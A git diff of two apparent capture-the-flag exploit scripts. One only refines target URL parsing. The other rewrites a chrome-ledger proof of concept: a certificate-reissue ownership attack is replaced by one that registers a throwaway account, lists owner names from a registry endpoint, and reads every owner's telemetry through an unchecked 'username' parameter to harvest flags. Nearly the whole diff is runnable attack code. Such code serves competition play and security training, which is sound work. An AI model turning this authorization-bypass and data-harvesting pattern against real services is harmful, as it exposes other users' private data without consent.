diff --git a/exploits/braindance.py b/exploits/braindance.py index e93987f..8a42c04 100755 --- a/exploits/braindance.py +++ b/exploits/braindance.py @@ -15,6 +15,7 @@ import json import re import secrets import sys +from urllib.parse import urlsplit, urlunsplit import requests @@ -22,11 +23,20 @@ import requests FLAG_RE = re.compile(rb"\b[A-Z0-9]{31}=") -def normalize_base_url(target: str, default_port: int) -> str: - target = target.rstrip("/") - if "://" in target: - return target - return f"http://{target}:{default_port}" +def service_url(target: str) -> str: + raw = target.strip() + if not raw: + raise ValueError("empty target") + if "://" not in raw: + raw = f"http://{raw}" + parsed = urlsplit(raw) + if parsed.scheme not in {"http", "https"} or not parsed.hostname: + raise ValueError("expected HTTP target") + if parsed.path not in {"", "/"} or parsed.query or parsed.fragment: + raise ValueError("target must be a host, URL, or URL with no path") + port = parsed.port or 5000 + host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname + return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")).rstrip("/") def json_response(response: requests.Response): @@ -42,11 +52,11 @@ def json_response(response: requests.Response): def main() -> int: parser = argparse.ArgumentParser(description=__doc__) - parser.add_argument("base_url", help="target IP or service URL") + parser.add_argument("base_url", help="service URL, e.g. http://10.0.0.5:5000") parser.add_argument("--record-id", help="specific source record id") args = parser.parse_args() - base = normalize_base_url(args.base_url, 5000) + base = service_url(args.base_url) session = requests.Session() username = f"probe_{secrets.token_hex(5)}" account = json_response(session.post( diff --git a/exploits/chrome_ledger.py b/exploits/chrome_ledger.py index d707337..9c70151 100755 --- a/exploits/chrome_ledger.py +++ b/exploits/chrome_ledger.py @@ -1,41 +1,45 @@ #!/usr/bin/env python3 -"""PoC for the pre-fix chrome-ledger ownership/reissue bug. +"""PoC for the pre-fix chrome-ledger telemetry authorization bug. -The vulnerable service accepted a CSR signed by an attacker-controlled key -and did not bind /reissue/ to the authenticated owner. The new -certificate was then returned together with the implant's decrypted details. -Use only against the authorized CTF instance. +Older builds accepted an arbitrary ``username`` query parameter on +/home/api/telemetry. The registry endpoint exposes owner names, so a normal +account could read every owner's telemetry and recover flags stored in the +implant metadata. This version uses only the Python standard library plus +the requests package available in the Neo worker image. """ from __future__ import annotations import argparse -import base64 -import hashlib import json import re import secrets import sys -from typing import Any +from urllib.parse import urlencode, urlsplit, urlunsplit import requests -from cryptography import x509 -from cryptography.hazmat.primitives import hashes, serialization -from cryptography.hazmat.primitives.asymmetric import ec -from cryptography.x509.oid import NameOID FLAG_RE = re.compile(r"\b[A-Z0-9]{31}=") -def normalize_base_url(target: str, default_port: int) -> str: - target = target.rstrip("/") - if "://" in target: - return target - return f"http://{target}:{default_port}" +def service_url(target: str) -> str: + raw = target.strip() + if not raw: + raise ValueError("empty target") + if "://" not in raw: + raw = f"http://{raw}" + parsed = urlsplit(raw) + if parsed.scheme not in {"http", "https"} or not parsed.hostname: + raise ValueError("expected HTTP target") + if parsed.path not in {"", "/"} or parsed.query or parsed.fragment: + raise ValueError("target must be a host, URL, or URL with no path") + port = parsed.port or 8081 + host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname + return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")).rstrip("/") -def request_json(response: requests.Response) -> Any: +def json_response(response: requests.Response): try: data = response.json() except ValueError: @@ -46,78 +50,54 @@ def request_json(response: requests.Response) -> Any: return data -def make_csr(key: ec.EllipticCurvePrivateKey) -> str: - csr = ( - x509.CertificateSigningRequestBuilder() - .subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "ctf-client")])) - .sign(key, hashes.SHA256()) - ) - return csr.public_bytes(serialization.Encoding.PEM).decode("ascii") - - def main() -> int: parser = argparse.ArgumentParser(description=__doc__) - parser.add_argument("base_url", help="target IP or service URL") - parser.add_argument("--implant-id", help="specific target implant UUID") - parser.add_argument("--insecure", action="store_true", help="disable TLS certificate verification") + parser.add_argument("target", help="Neo target host or chrome-ledger URL") args = parser.parse_args() - base = normalize_base_url(args.base_url, 8081) + base = service_url(args.target) session = requests.Session() - session.verify = not args.insecure - - username = f"audit_{secrets.token_hex(5)}" - password = secrets.token_urlsafe(18) - auth = request_json(session.post( + username = f"probe_{secrets.token_hex(5)}" + account = json_response(session.post( f"{base}/register", - json={"username": username, "password": password}, - timeout=10, + json={"username": username, "password": secrets.token_urlsafe(18)}, + timeout=8, )) - session.headers["Authorization"] = f"Bearer {auth['access_token']}" + session.headers["Authorization"] = f"Bearer {account['access_token']}" - registry = request_json(session.get(f"{base}/home/api/registry", timeout=10)) - targets = [] - for implant in registry.get("results", []): - if args.implant_id and implant.get("id") != args.implant_id: + registry = json_response(session.get(f"{base}/home/api/registry", timeout=8)) + owners = sorted({ + row.get("owner") + for row in registry.get("results", []) + if isinstance(row.get("owner"), str) and row.get("owner") != username + }) + if not owners: + raise RuntimeError("registry contains no other owners") + + found = [] + for owner in owners: + response = session.get( + f"{base}/home/api/telemetry?{urlencode({'username': owner})}", + timeout=8, + ) + if response.status_code in (401, 403, 404): continue - active = [c for c in implant.get("certificates", []) if c.get("status") == "active"] - if active: - targets.append((implant["id"], active[-1]["serial"])) - if not targets: - raise RuntimeError("no active implant found in registry") + data = json_response(response) + print(json.dumps({"owner": owner, "telemetry": data}, indent=2)) + found.extend(FLAG_RE.findall(json.dumps(data))) - implant_id, serial = targets[0] - key = ec.generate_private_key(ec.SECP256R1()) - csr_pem = make_csr(key) - digest = hashlib.sha256( - x509.load_pem_x509_csr(csr_pem.encode("ascii")).public_bytes(serialization.Encoding.DER) - ).hexdigest() - message = f"reissue:{implant_id}:{serial}:{digest}".encode("ascii") - signature = base64.b64encode(key.sign(message, ec.ECDSA(hashes.SHA256()))).decode("ascii") - - result = request_json(session.post( - f"{base}/home/api/reissue/{implant_id}", - json={ - "csr_pem": csr_pem, - "certificate_serial": serial, - "signature": signature, - }, - timeout=10, - )) - - print(json.dumps({"target": implant_id, "response": result}, indent=2)) - flags = sorted(set(FLAG_RE.findall(json.dumps(result)))) + flags = sorted(set(found)) if flags: print("flags:") print("\n".join(flags)) else: - print("no flags matched; target may already contain the patched ownership check", file=sys.stderr) + print("no flags matched; target may have the telemetry ownership fix", file=sys.stderr) return 0 if __name__ == "__main__": try: raise SystemExit(main()) - except (requests.RequestException, KeyError, RuntimeError) as exc: + except (requests.RequestException, KeyError, RuntimeError, ValueError) as exc: print(f"error: {exc}", file=sys.stderr) raise SystemExit(1)